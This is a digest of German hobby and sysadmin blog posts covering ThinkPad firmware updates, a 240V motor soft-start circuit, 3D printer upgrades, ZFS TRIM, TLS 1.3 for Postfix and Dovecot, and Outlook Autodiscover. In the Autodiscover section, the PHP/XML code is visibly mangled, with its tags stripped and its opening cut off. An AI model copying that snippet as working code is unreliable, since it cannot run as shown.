│ │      • This time BIOS release has no impact for Linux users.
│ │   
│ ├─ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS for Machine types: 20N2, 20N3, 20N4, 20N5, 20N6, 20N7, 20Q9, 20QH, 20RH, 20RJ) System Update:
│ │     New version:       0.1.68
│ │     Remote ID:         lvfs
│ │     Summary:           Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC System Firmware
│ │     License:           Proprietary
│ │     Size:              25,1 MB
│ │     Vendor:            Lenovo Ltd.
│ │     Flags:             is-upgrade
│ │     Description:       Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS) System Firmware 1.68
│ │     
│ │     The computer will be restarted automatically after updating BIOS completely. Do NOT turn off your computer or remove the AC adaptor while update is in progress.
│ │     
│ │     This stable release fixes the following issues:
│ │     
│ │      • Fixed an issue where keyboard language settings could not be applied by Setup Settings Capture/Playback Utility (SRSETUP).
│ │      • Fixed an issue where WWAN device firmware update process might fail when Thunderbolt BIOS Assist Mode is set to Enabled.
│ │      • Fixed an issue where BIOS might generate 0288 beep error.
│ │      • Support for TCO Certified Logo shown on POST screen.
│ │   
│ ├─ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS for Machine types: 20N2, 20N3, 20N4, 20N5, 20N6, 20N7, 20Q9, 20QH, 20RH, 20RJ) System Update:
│ │     New version:       0.1.67
│ │     Remote ID:         lvfs
│ │     Summary:           Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC System Firmware
│ │     License:           Proprietary
│ │     Size:              25,1 MB
│ │     Vendor:            Lenovo Ltd.
│ │     Flags:             is-upgrade
│ │     Description:       Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS) System Firmware 1.67
│ │     
│ │      • Fixed an issue where Intel TXT Feature cannot be Enabled in ThinkPad Setup
│ │     
│ │     when Device Guard is Enabled.
│ │     
│ │      • Fixed an issue where system might hang at POST when attach US

[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2021/03/03/firmware-bios-updates-unter-linux-koennen-mit-fwupd-spass-machen/ ...]

---

## 8. Sanftanlauf für Elektromotoren: Softstart & Anlaufstrombegrenzer

**Veröffentlicht:** 2017-08-12
**Permalink:** https://www.kernel-error.de/2017/08/12/sanftanlauf-fuer-elektromotor-softstart-anlaufstrombegrenzer/

In meiner Werkstatt habe ich ein paar Elektrogeräte für welche ich gerne einen Sanftanlauf hätte. Einmal um den „Druck“ den hohen Anlaufstrom etwas von den ~Sicherungen~ zu nehmen und dann natürlich um die Geräte an sich etwas zu schonen, denn ein schlagartig anlaufender Elektromotor haut schon ganz schön rein 🙂

Natürlich gibt es viele schöne Dinge, die man einfach kaufen und zwischen stecken/einbauen kann aber ich wollte selbst einmal überlegen wie ich es realisieren kann und vor allem mit dem Zeug aus meiner „Restekiste“. So bin ich auf folgende Schaltung für meine Absauganlage gekommen. Die Anlage bekommt nur Strom, wenn ein anders Elektrogerät eingeschaltet wird und schaltet mit einem gewissen Nachlauf selbst ab (diese Schaltung führe ich vielleicht auch mal irgendwann auf). Es funktioniert also nicht diese einfach immer unter Strom zwischen zu stecken! Oh und natürlich sind Arbeiten am Strom sehr gefährlich und dürfen nur von Menschen ausgeführt werden, welche dieses dürfen 🙂 Diese Beschreibung also nicht nachmachen!

[[Bild: Schaltplan für einen 240V Sanftanlauf für Elektromotoren.]](https://www.kernel-error.de/wp-content/uploads/2017/08/Schaltplan.pdf)

C1 und R1 arbeiten in der Schaltung als eine Art Kondensatornetzteil. D1 – D4 übernehmen die Aufgabe des Gleichrichters. R2 sorgt dafür, dass beim Abschalten die Schaltung möglichst schnell spannungsfrei ist (die Kondensatoren also entladen werden). C2 glättet die Spannung aus dem Gleichrichter, D5 nagelt die Spannung in der Schaltung auf ca. 18V fest. Über R3 wird C3 langsam geladen. R4 sorgt wieder für schnelles Entladen von C3. D6 schützt Q1 vor der Spule in K1, R5 ist die eigentliche „Handbremse“ für den nachgeschalteten Elektromotor. Er lässt, bis zum anziehen des Relais weniger durch und der Motor kann nicht mit voller Power loslegen.

Kommt also Spannung auf die Schaltung wird diese so lang über R5 zum Motor geleitet, bis C3 geladen ist. Denn wenn C3 voll ist, schaltet Q1 durch und somit zieht K1 an und überbrückt so R5.

R5 muss daher auf den nach gelagerten Elektromotor abgestimmt sein, sonst platzt R5 ggf. einfach. Die Größe von C3 bestimmt hierbei die Länge der Verzögerung von K1. 220μF war dabei für mich etwas zu klein. 440μF ist die perfekte Zeit

Die Platine selbst sieht nun so aus.

[[Bild: Selbstgebaute Platine für einen 240V Sanftanlauf für Elektromotoren.]](https://www.kernel-error.de/wp-content/uploads/2017/08/platine-scaled.jpg)

Oh, die Absauganlage besteht aus einem Nassauger von Kärcher hinter einem selbstgebauten Zyklonabscheider.

Fragen? Dann fragen 🙂

---

## 9. QIDI i-Mate S 3D-Drucker: Erfahrungen, Upgrades & Support-Tipps​

**Veröffentlicht:** 2023-06-05
**Permalink:** https://www.kernel-error.de/2023/06/05/qidi/

Ich möchte ein paar Worte über meinen 3D Drucker verlieren. Seit knapp 2 Jahre werkelt bei mir der i-mates von QIDI Tech. Ich habe damals ein paar Testberichte durchgeschaut und bin auf diesen gekommen. Wichtig war mir, ein geringer Preis, beheizbares Druckbett, kompaktes Design, die Möglichkeit eines geschlossenen Druckraumes sowie, dass sich das Druckbett  nur in der Z-Achse bewegt und natürlich, dass ich den Standard drucken kann. Also PLA, ABS und PETG.

Bisher bin ich extrem zufrieden mit dem Drucker. Er tut genau, was er soll und für den Preis in guter Qualität. Bis hier finden sich diese Informationen sicherlich besser in verschiedensten Testberichten….

Gekauft habe ich den Drucker direkt bei AliExpress im offiziellen Store von QIDI Tec: [https://s.click.aliexpress.com/e/_DFkNgSl](https://s.click.aliexpress.com/e/_DFkNgSl)

Was sich in den Testberichten selten findet, sind Informationen zum Filament Sensor, einem all oder full metal Extruder/Hotend und diesen nervigen Muttern beim bed leveling, sowie etwas zum Support von QIDI Technology und woher man denn Firmware Upgrades bekommt.

Starten wir mit dem Support, dieser war bisher durchgehen exzellent. Es gibt verschiedene Wege den Support zu erreichen. Für mich funktionierte am besten E-Mail, direkt an: [mateb@qd3dprinter.com](mailto:mateb@qd3dprinter.com)
Der Support war immer freundlich, immer hilfsbereit, hatte super Infos, Videos, Anleitungen und was man sich sonst noch wünscht. Der Kontakt lief ohne jedes Problem vollständig in englisch. Dateiaustausch wurde in der Regel über google drive realisiert. Wer schon einmal mit Herstellern hinter der Chinesischen Mauer/Firewall Daten austauschen wollte, versteht den Mehrwert von google drive, in dieser Beziehung. Reagiert hat der Support auf meine E-Mails, in der Regeln innerhalb von 24h (selbst an Wochenenden und Feiertagen). Ich will einfach keinen anderen Support mehr haben.

Mein erstes Upgrade für den Drucker war, nach knapp einem Jahr, ein full-metal Extruder. Ebenfalls gekauft bei AliExpress: [https://de.aliexpress.com/item/1005003165841775.html](https://de.aliexpress.com/item/1005003165841775.html)

[[Bild: Austausch All-Metal-Hotends beim Qidi iMate S]](https://www.kernel-error.de/wp-content/uploads/2023/06/Qidi-imates-all-metal-hotend-scaled.jpg)

Das nötige Firmware Update gab es direkt beim Support inkl. Anleitung. Einbau war sehr einfach, besondere Einstellungsänderungen waren in der QIDI Print App nicht nötig. Die QIDI Print App basiert auf Cura, wurde aber speziell eingepasst für diesen 3D Drucker. 

Mit dem neuen Druckkopf hatte ich leider ein paar Probleme. Die Layerhaftung war schlechter. Hier konnte mir der Support helfen. Nicht jeder Schrittmotor läuft 100%tig gleich. Zusammen mit dem Support habe ich getestet ob bei 2cm Filamentvorschub auch wirklich 2cm bewegt werden, was bei mir nicht der Fall war. Daraufhin habe ich vom Support eine für mich angepasste Konfigurationsdatei bekommen. Diese habe ich einfach „gedruckt“ und schon war dieses Problem Geschichte. Insg. waren das 3 E-Mails und 15 Minuten Arbeit.

Die Schrittmotoren selbst werden beim Druck sehr warm. Nicht zu warm, aber doch so warm, dass ich dem Verlangen nicht nachgeben konnte sie zu kühlen. Dazu habe ich folgende selbstklebende Kühlkörper gefunden: [https://s.click.aliexpress.com/e/_DEuRYyh](https://s.click.aliexpress.com/e/_DEuRYyh)

Diese habe ich an allen Schrittmotoren installiert. Ausgenommen der Druckkopf, dieser wird bereits gut gekühlt und das zusätzliche Gewicht wäre sicherlich nicht hilfreich. Also nur ein Kühlkörper für jede Achse.

[[Bild: Kühlkörper auf dem Schrittmotor des Qidi iMate S]](https://www.kernel-error.de/wp-content/uploads/2023/06/Qidi-imates-Schrittmotor-kuehlung-scaled.jpg)

Wer die passive Kühlung direkt in eine aktive verwandeln möchte dem findet hier die passenden Lüfter, direkt für 24V: [https://s.click.aliexpress.com/e/_Dk6rsrB](https://s.click.aliexpress.com/e/_Dk6rsrB)

Zuletzt fehlte mir noch ein Filament Sensor. Mal bricht das Filament (super selten aber passiert) oder es ist einfach mitten im Druck leer und dann läuft der Drucker einfach weiter. Der Filament Run Sensor bemerkt dieses und stoppt den Druckvorgang. So kann einfach Filament „nachgeladen“ werden und der Druck läuft weiter. Ebenfalls gekauft bei AliExpress: [https://s.click.aliexpress.com/e/_DFCISh7](https://s.click.aliexpress.com/e/_DFCISh7)

[Bild: Filament Sensor beim Qidi iMate S - seitlich]

[Bild: Filament Sensor beim Qidi iMate S]

[Bild: Filament Sensor beim Qidi iMate S - mit durchlaufendem Filament]

Die Installation ist wieder extrem einfach, vor allem mit der Anleitung des Supportes. Es gab wieder eine Konfigurationsdatei, welche man einfach druckt und schon ist der Filament Sensor funktionstüchtig. OK, in der deutschen Übersetzung nennt sich der Punkt Glühfaden-Sensor… Für den Hinweis auf dieses Übersetzungsproblemchen hat sich der Support sehr gefreut und möglicherweise ist es im nächsten Firmwareupdate bereits ersetzt durch Filament-Sensor.

Bed Leveling… Leider hat dieser Drucker kein automatisches Leveling. Es gibt im Druckmenü eine geführte Funktion und diese ist einfach und kein Problem. Ebenfalls sind die eigentlichen Muttern kein Problem, nur die Sicherung mittels einer weiteren Flügelmutter ist sehr nervig. Man durchläuft das Leveling Programm, stellt alles perfekt ein und sichert die Muttern, unter Zuhilfenahme der Flügelmuttern. Vielleicht habe ich zu dicke Finger aber jedes Mal hat sich der Abstand zur Nozzel dadurch wieder verändert. Die einfachste Lösung war dann für mich folgender Druck von Thingiverse: [https://www.thingiverse.com/thing:4806871](https://www.thingiverse.com/thing:4806871)

[[Bild: 3D-gedruckte Ersatzmutter für das Bed-Leveling beim Qidi iMate S]](https://www.kernel-error.de/wp-content/uploads/2023/06/Qidi-imates-leveling-nut-scaled.jpg)

Dazu einfach ein paar selbst sichernde M4 Muttern: [https://amzn.to/3MU6fCW](https://amzn.to/3MU6fCW)

Gedruckt habe ich die neuen Leveling Nuts mit PETG… Funktioniert super und Bed Leveling macht fast Spaß, so viel Spaß manuelles Leveling halt machen kann.

Filament… Japp ebenfalls Aliexpress und direkt von QIDI Tec: [https://s.click.aliexpress.com/e/_Dk0scHx](https://s.click.aliexpress.com/e/_Dk0scHx)

Tut und hält 😀

Nozzle… Zusammen mit dem Druckkopf bin ich auf eine Nozzel von Brozzl gewechselt. Einmal braucht meine Nozzel keinen Platz mehr für diesen Plastikschlauch (ist ja nun all metal) und zum anderen wollte ich etwas weg von Messing. Metall ist zwar viel härter, hinsichtlich Abnutzung, aber ich drucke nicht mit Material welches zu hoher Abnutzung führt und die Temperaturleitfähigkeit von Metall ist nicht so wirklich super. Geht, wenn man daran denkt die Temperatur immer +10°C zu nehmen aber beschichtetes Kupfer gefällt mir besser. Noch besserer Wäremeleitwert und sogar noch etwas härter als Messing. Hier der Link zu dem Teil: [https://www.brozzl.com/products/plated-copper-nozzles/](https://www.brozzl.com/products/plated-copper-nozzles/)

---

## 10. TRIM für SSDs im ZFS-Pool unter Linux aktivieren: So funktioniert’s​

**Veröffentlicht:** 2021-02-24
**Permalink:** https://www.kernel-error.de/2021/02/24/trim-fuer-ssds-im-zfs-pool-unter-linux-aktivieren/

Speicherzellen eine SSD sind nicht unendlich beschreibbar. Irgendwann sind sie „kaputt“. Damit dieses möglichst spät passiert, hat jede SSD eine interne Logik, um Schreibzugriffe möglichst gut auf Speicherbereiche zu verteilen. Im optimalen Fall wird jeder Speicherbereich gleich oft zum Schreiben benutzt. Damit dieses möglichst gut funktioniert, muss die SSD wissen, welche Speicherbereiche wirklich frei sind. Diese Information kann die SSD fast nur vom Filesystem selbst bekommen. Damit die Info weitergeleitet wird, gibt es [TRIM https://de.wikipedia.org/wiki/TRIM](https://de.wikipedia.org/wiki/TRIM).

ZFS bietet diese Möglichkeit natürlich auch und dieses ebenfalls unter Linux. Im zpool nennt sich diese Option autotrim und um zu prüfen ob es aktiviert ist, hilft folgender Befehl:

```
$ zpool get autotrim bpool rpool
NAME   PROPERTY  VALUE     SOURCE
bpool  autotrim  off        local
rpool  autotrim  off        local
```

Wie man sehen kann, gibt es die beiden ZFS Pools mit den Namen bpool und rpool. Auf beiden ist autotrim deaktiviert. Zum Aktivieren ist folgender Befehl nötig:

```
$ zpool set autotrim=on bpool
$ zpool set autotrim=on rpool
```

Wenn man nun prüft, ob es aktiviert ist:

```
$ zpool get autotrim bpool rpool
NAME   PROPERTY  VALUE     SOURCE
bpool  autotrim  on        local
rpool  autotrim  on        local
```

Sollte man dieses bestätigt bekommen.

Einen kleinen Tipp habe ich darüber hinaus zusätzlich noch. Wenn eine SSD an den Strom angeschlossen wird, ohne dass ein „Computer“ angeschlossen ist, fallen viele SSD in eine Art Wartungs- / Reparaturmodus. Dann sortieren SSDs selbstständig ihre Speicherzellen um. Wenn also einmal etwas in den ersten Speicherbereich geschrieben wurde, ist dieses nicht gleichbedeutend, dass es für immer in nur diesem Bereich liegen bleibt. Im laufenden Betrieb wird dieses verschoben, wenn die SSD (wie beschrieben) nur am Strom angeschlossen ist forciert man dieses zusätzlich bei vielen SSDs. Einfach 2 / 3 Stunden „laufen“ lassen… Hin und wieder lassen sich über diesen Weg „tote“ SSDs wiederbeleben. Alles funktioniert natürlich mit TRIM viel besser 😀

Frage? Dann fragen..

---

## 11. Lötdampfabsaugung selber bauen: DIY-Projekt mit 3D-Druck und Restteilen​

**Veröffentlicht:** 2024-11-09
**Permalink:** https://www.kernel-error.de/2024/11/09/loetdampfabsaugung-aus-resten/

Heute mal etwas ganz Einfaches… Beim Löten entstehen Dämpfe, die man besser nicht durch den „Lungenfilter“ aus der Luft ziehen sollte.

[Bild: 3D-gedruckte Lötdampfabsaugung]

Hier kommen Lötdampfabsaugung ins Spiel. Es gibt kleine, einfache Modelle für etwa 50 €, die [wie ein kleiner Tischventilator](https://s.click.aliexpress.com/e/_DBqspEl) in der Nähe stehen, die Dämpfe absaugen und meist durch einen Aktivkohlefilter leiten. Allerdings stehen mir diese Geräte immer im Weg, und die Lüfter sind oft so schwach, dass trotzdem noch ein großer Teil der Dämpfe zu mir gelangt.

Dann gibt es noch [Absaugungen mit mehr oder weniger flexiblem Schlauch](https://s.click.aliexpress.com/e/_DCGd8Sv). Auch hier erfolgt die Filterung ähnlich, aber diese Modelle kosten dann schnell ein paar Hundert Euro.

Da bei Projekten öfter mal Reste übrig bleiben, liegen in meinem Keller eigentlich schon alle Einzelteile für eine selbstgebaute Lötdampfabsaugung bereit. Man müsste sie nur noch zusammenbauen.

Ich habe noch einen 100-mm-Lüftungsschlauch aus Aluminium, der einigermaßen flexibel ist, einen 120-mm-12V-Lüfter, der für ordentlich Luftstrom sorgt, und ein paar 130-mm-Aktivkohlefilterplatten. Wenn ich davon einfach zwei doppelt nehme, geht mehr als genug Luft durch, und sie filtern die Dämpfe recht gut.

Mit FreeCAD habe ich dann ein Gehäuse für die Teile entworfen, das ich einfach unter meine Werkbank schrauben kann. So liegt nur der Schlauch in einer Ecke und kann bei Bedarf zur richtigen Stelle bewegt werden, um die Löt-Dämpfe direkt an der Quelle abzusaugen.

Hier ein paar Bilder für euch – die Druckdateien findet ihr bei [Maker World](https://makerworld.com/en/models/772111).

[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-5-scaled.jpg)

[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-4-scaled.jpg)

[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-3-scaled.jpg)

[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-2-scaled.jpg)

[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-1-scaled.jpg)

[Bild: 3D-gedruckte Lötdampfabsaugung][Bild: 3D-gedruckte Lötdampfabsaugung][Bild: 3D-gedruckte Lötdampfabsaugung][Bild: 3D-gedruckte Lötdampfabsaugung][Bild: 3D-gedruckte Lötdampfabsaugung]

Ob die Teile auch zu euren „Resten“ passen, müsst ihr selbst kurz prüfen.

Oh, [Schlauch](https://amzn.to/40Fcd2X) und [Filter](https://amzn.to/3O1oJm8) findet ihr bei Amazon.

---

## 12. Bose QuietComfort 35: Akku tauschen leicht gemacht

**Veröffentlicht:** 2021-01-07
**Permalink:** https://www.kernel-error.de/2021/01/07/bose-quietcomfort-35-akku-tauschen/

Der Akku in meinem Bose QC35 hat inzwischen ausgedient und muss ausgetauscht werden. Der verbaute Akku ist ein AHB110520CPS von Synergy. Leider konnte ich diesen nicht als Ersatzakku finden. Man kann ihn zwar aus China bestellen (ca. 35 €), aber er ist dann gebraucht, da er aus einem alten Kopfhörer ausgebaut wurde – natürlich „getestet“.

Alternativ gibt es die Möglichkeit, den Kopfhörer einzuschicken und den Akku dort tauschen zu lassen (ca. 70 €). Beides sind jedoch Lösungen, die mir nicht zusagen, denn im Grunde handelt es sich nur um einen einfachen 3,7V-Akku mit knapp 500 mAh.

Nach einiger Suche habe ich jedoch einen passenden Ersatz gefunden. Der Akku GSP072035 hat zwar etwas weniger mAh, was bedeutet, dass die Kopfhörer etwas früher leer sind – aber damit kann ich leben. Zumal die Standzeit des alten Akkus ohnehin schon stark eingeschränkt war. Bestellt habe den folgenden Ersatzakku bei Amazon: [https://amzn.to/2JXwhJc](https://amzn.to/2JXwhJc)

Der neue Akku passt zwar nicht exakt ins Akkufach des alten, ist jedoch klein genug, um problemlos im Kopfhörer Platz zu finden, ohne das Gewicht oder die Klangqualität zu beeinflussen. Man merkt den Unterschied also nicht!

Ein kleiner Tipp: Wenn man schon dabei ist, kann man auch gleich die Ohrpolster austauschen. Ich habe die folgenden Polster bereits zweimal erneuert und kann sie wärmstens empfehlen: [https://amzn.to/2L4xcbo](https://amzn.to/2L4xcbo)

Wie man den Akku selbst austauscht, zeigt eine erstklassige Anleitung von IFIXIT: [https://de.ifixit.com/Anleitung/Bose+QuietComfort+35+Akku+tauschen/134337](https://de.ifixit.com/Anleitung/Bose+QuietComfort+35+Akku+tauschen/134337)

[[Bild: Bild vom geöffnetem Bose QuietComfort 35 mit eingebautem Ersatzakku.]](https://www.kernel-error.de/wp-content/uploads/2021/01/Bose-QuietComfort-35-Replacement-Akku.jpg)

Sobald der alte Akku entfernt ist, klebt man den neuen mit einem kleinen Tropfen Heißkleber in die Ecke und lötet ihn wie den alten Akku an. Nach dem Zusammenbau sollte der Kopfhörer wieder wie gewohnt funktionieren – abgesehen von etwa 20–25 Minuten weniger Hörzeit.

**Kleines Update!** 😊

Inzwischen gibt es auf Amazon einen perfekt passenden Ersatzakku. Es war mal wieder Zeit für einen Austausch, und dieses Mal habe ich sogar ein Modell mit 600 mAh gefunden. Jetzt habe ich so viel Hörzeit wie noch nie zuvor mit meinen Kopfhörern! 🎧 [https://amzn.to/3CsPQnv](https://amzn.to/3CsPQnv)

Fragen? Dann fragt einfach! 🙂

---

## 13. TLS 1.3 für Postfix & Dovecot: Einrichtung und Konfiguration​

**Veröffentlicht:** 2019-02-15
**Permalink:** https://www.kernel-error.de/2019/02/15/tls-1-3-fuer-postfix-und-dovecot/

TLS 1.3 ist im Mailbetrieb kein Sonderfall mehr, sondern der Normalzustand. Voraussetzung ist lediglich, dass Postfix und Dovecot gegen eine aktuelle OpenSSL-Version gelinkt sind. Sobald OpenSSL TLS 1.3 unterstützt, wird es automatisch verwendet. Eine explizite Aktivierung in der Applikation ist nicht erforderlich.

Die eigentliche Aufgabe der Konfiguration besteht daher nicht darin, TLS 1.3 „einzuschalten“, sondern darin, alte Protokollversionen sauber zu deaktivieren und für den verbleibenden TLS-1.2-Fallback eine kontrollierte Cipher-Policy zu definieren.

[[Bild: Illustration zu TLS 1.3 im Mailbetrieb: Symbolische Darstellung von Postfix und Dovecot mit Schloss und Schlüssel vor Server-Hintergrund, steht für verschlüsselte SMTP- und IMAP-Verbindungen mit modernen TLS-Standards.]](https://www.kernel-error.de/wp-content/uploads/2019/02/postfix-dovecot-tls13.png)

## Voraussetzungen

Postfix und Dovecot müssen gegen OpenSSL ≥ 1.1.1 gebaut sein. OpenSSL 3.x funktioniert ebenfalls ohne Einschränkungen. Welche Version tatsächlich genutzt wird, lässt sich eindeutig prüfen:

```
postconf -a | grep -i tls
dovecot --version
ldd $(which dovecot) | grep ssl
openssl version
```

Wenn hier OpenSSL 1.1.1 oder neuer auftaucht, ist TLS 1.3 verfügbar.

## Postfix

Postfix verwendet TLS 1.3 automatisch, sofern der Client es anbietet. Entscheidend ist, welche Protokollversionen minimal erlaubt werden. TLS 1.0 und TLS 1.1 gelten als kryptographisch überholt und sollten nicht mehr akzeptiert werden.

Die folgende Konfiguration beschränkt Postfix auf TLS 1.2 und neuer. TLS 1.3 wird dabei bevorzugt ausgehandelt, TLS 1.2 dient nur noch als Fallback.

```
smtpd_tls_protocols = >=TLSv1.2
smtp_tls_protocols  = >=TLSv1.2

smtpd_tls_security_level = may
smtp_tls_security_level  = may

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem
smtpd_tls_key_file  = /etc/letsencrypt/live/DOMAIN/privkey.pem
```

Cipher-Optionen in Postfix gelten ausschließlich für TLS 1.2 und ältere Protokolle. TLS 1.3 verwendet fest definierte Cipher-Suites und ignoriert diese Einstellungen vollständig. Dennoch ist es sinnvoll, für den TLS-1.2-Fallback eine saubere Policy zu setzen.

```
tls_preempt_cipherlist = yes

smtpd_tls_ciphers = high
smtp_tls_ciphers  = high
```

Damit werden nur moderne Cipher mit Forward Secrecy genutzt, abhängig von den OpenSSL-Defaults der jeweiligen Distribution.

Session-Caching reduziert Handshake-Overhead und sollte aktiv sein:

```
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database  = btree:${data_directory}/smtp_scache
```

## Dovecot

Auch Dovecot nutzt TLS 1.3 automatisch, sofern OpenSSL es bereitstellt. Die relevante Einstellung ist die minimale Protokollversion. Alles darunter wird explizit ausgeschlossen.

```
ssl = required
ssl_min_protocol = TLSv1.2
```

Die Cipher-Liste in Dovecot betrifft ebenfalls nur TLS 1.2 und älter. TLS 1.3 wird davon nicht beeinflusst. Eine explizite, restriktive Cipher-Liste verhindert jedoch unsaubere Fallbacks bei älteren Clients.

```
ssl_cipher_list = \
ECDHE-ECDSA-CHACHA20-POLY1305:\
ECDHE-RSA-CHACHA20-POLY1305:\
ECDHE-ECDSA-AES256-GCM-SHA384:\
ECDHE-RSA-AES256-GCM-SHA384

ssl_prefer_server_ciphers = yes
```

Die Zertifikate werden wie gewohnt eingebunden:

```
ssl_cert = </etc/letsencrypt/live/DOMAIN/fullchain.pem
ssl_key  = </etc/letsencrypt/live/DOMAIN/privkey.pem
```

## TLS 1.3 und Cipher-Suites

TLS 1.3 unterscheidet sich grundlegend von älteren Versionen. Die Cipher-Suites sind fest definiert und bestehen ausschließlich aus modernen AEAD-Verfahren mit integrierter Authentifizierung und Forward Secrecy. Typische Cipher sind AES-GCM und CHACHA20-POLY1305.

Postfix und Dovecot bieten keine Möglichkeit, diese Cipher direkt zu konfigurieren. Die Auswahl erfolgt intern durch OpenSSL während des Handshakes. Das ist beabsichtigt und reduziert Fehlkonfigurationen erheblich.

Wer versucht, TLS-1.3-Cipher über Applikationsoptionen zu beeinflussen, konfiguriert faktisch nur TLS 1.2.

## Verifikation

Ob TLS 1.3 tatsächlich genutzt wird, lässt sich eindeutig prüfen.

SMTP mit STARTTLS:

```
openssl s_client -starttls smtp -connect mail.example.com:25 -tls1_3
```

IMAPS:

```
openssl s_client -connect mail.example.com:993 -tls1_3
```

Wird der Handshake erfolgreich aufgebaut und ein moderner AEAD-Cipher angezeigt, ist TLS 1.3 aktiv. Fällt die Verbindung auf TLS 1.2 zurück, greift die konfigurierte Cipher-Liste.

## Fazit

TLS 1.3 erfordert in Postfix und Dovecot keine Sonderbehandlung. Entscheidend ist eine aktuelle OpenSSL-Version, eine klare Mindest-TLS-Policy und eine saubere Cipher-Konfiguration für den unvermeidbaren TLS-1.2-Fallback.

Alles andere erledigt der TLS-Stack selbst.

Kein Feature-Flag.
Keine Magie.
Nur korrekte Defaults, bewusst begrenzt.

---

## 14. Outlook Autodiscover für IMAP und SMTP konfigurieren

**Veröffentlicht:** 2019-10-02
**Permalink:** https://www.kernel-error.de/2019/10/02/outlook-autodiscover-fuer-imap-und-smtp/

Vor einigen Jahren habe ich bereits etwas zu Microsoft Outlook und dessen Autodiscover geschrieben. [Microsoft Office Outlook Autodiscover](https://www.kernel-error.de/2013/01/04/microsoft-office-outlook-autodiscover/)

Ich setze es noch immer in recht ähnlicher Form ein und möchte den aktuellen Stand kurz beschreiben.

Primär habe ich eine Autodiscoverdomain [https://autodiscover.kernel-error.de](https://autodiscover.kernel-error.de) hinter dieser steht ein nginx und er liefert unter diesem Pfad [https://autodiscover.kernel-error.de/Autodiscover/Autodiscover.xml](https://autodiscover.kernel-error.de/Autodiscover/Autodiscover.xml) die Konfigurationsinformationen für verschiedene Maildomains für smtps und imaps aus.

Die Konfiguration vom nginx ist recht überschaubar. Klar, https und der spannende Teil der Konfiguration ist folgender:

```
        location ~ /(?:a|A)utodiscover/(?:a|A)utodiscover.xml {
        root /usr/local/www/autodiscover.kernel-error.de;
        try_files /autodiscover/autodiscover.php =404;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php-fpm.sock;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME $request_filename;
        include fastcgi_params;
        fastcgi_cache MYAPP;
        fastcgi_cache_valid 200 60m;
    }
```

Wie man gut sehen kann wird einfach jede Anfrage nach /autodiscover/autodiscover.xml (egal ob am Anfang groß oder klein geschrieben), im Hintergrund weitergeleitet an das php file autodisvocer.php:

```
(.*?)\/", $request, $email );

// check for invalid mail, to prevent XSS
if (filter_var($email[1], FILTER_VALIDATE_EMAIL) === false) {
	throw new Exception('Invalid E-Mail provided');
}

/**************************************
 *   Port and server settings below   *
 **************************************/

// IMAP settings
$imapServer = 'imap.kernel-error.de'; // imap.example.com
$imapPort   = 993;
$imapSSL    = true;

// SMTP settings
$smtpServer = 'smtp.kernel-error.de'; // smtp.example.com
$smtpPort   = 465;
$smtpSSL    = true;

//set Content-Type
header( 'Content-Type: application/xml' );
?>
'; ?>

	
		
			email
			settings
			
				IMAP
				
				
				off
				
				off
				
				on
			
			
				SMTP
				
				
				off
				on
				
				off
				
				on
				off
				off
			
		
	

```

Das kleine php script macht auch nicht viel mehr als die im Post übermittelte E-Mail Adresse in eine Variable zu schieben, zu prüfen ob es wirklich eine E-Mail Adresse ist und dann am Ende einfach das fertige xml zurück zu liefern.

Besonders wichtig dabei ist:

```
on
off
off
```

Sonst darf man für den Postausgangsserver nämlich immer manuell den Haken setzen bei: „Gleiche Einstellungen wie für den Posteingangsserver verwenden“ Welches sicher einige Anwender vor einer nur schwer zu überwindenden Hürde stell.

Damit dieses nicht nur für E-Mail Adresse der Domain kernel-error.de funktioniert gibt es in den anderen DNS Zonen SRV RRs welche auf diese Autodiscoverdomain verweisen:

```
➜  ~ dig _autodiscover._tcp.kernel-error.com IN SRV +short
0 0 443 autodiscover.kernel-error.de.
```

Nun sorgt dieses bei Outlook für eine kleine Warnmeldung bei der Konfiguration, ob man diesem Verweis wirklich folgen möchte.

[[Bild: Screenshot vom Outlook Client beim Konto hinzufügen. Frage ob die Konfiguration der Servereinstellungen von einer Webseite zugelassen werden soll.]](https://www.kernel-error.de/wp-content/uploads/2019/10/autodiscover.jpg)

Dieses kommt nur einmalig und man könnte es zudem mit deinem Registierungsschlüssel unterbinden aber naja das sollte für jeden klickbar sein, oder?!?! Im Anschluss ist die Konfiguration vom E-Mail Client schon abgeschlossen.

[[Bild: Screenshot vom Outlook Client beim Konto hinzufügen. Vorgang wurde erfolgreich abgeschlossen.]](https://www.kernel-error.de/wp-content/uploads/2019/10/outlook01.jpg)

Wie man sieht ist es sehr simpel und sollte von nahezu jedem erledigt werden können, der es schafft seine E-Mail Adresse und sein Kennwort nach dem Outlookstart einzugeben.

---

## 15. FreeBSD: WLAN und der Ländercode korrekt einstellen

**Veröffentlicht:** 2017-05-31
**Permalink:** https://www.kernel-error.de/2017/05/31/freebsd-wlan-und-der-laendercode/

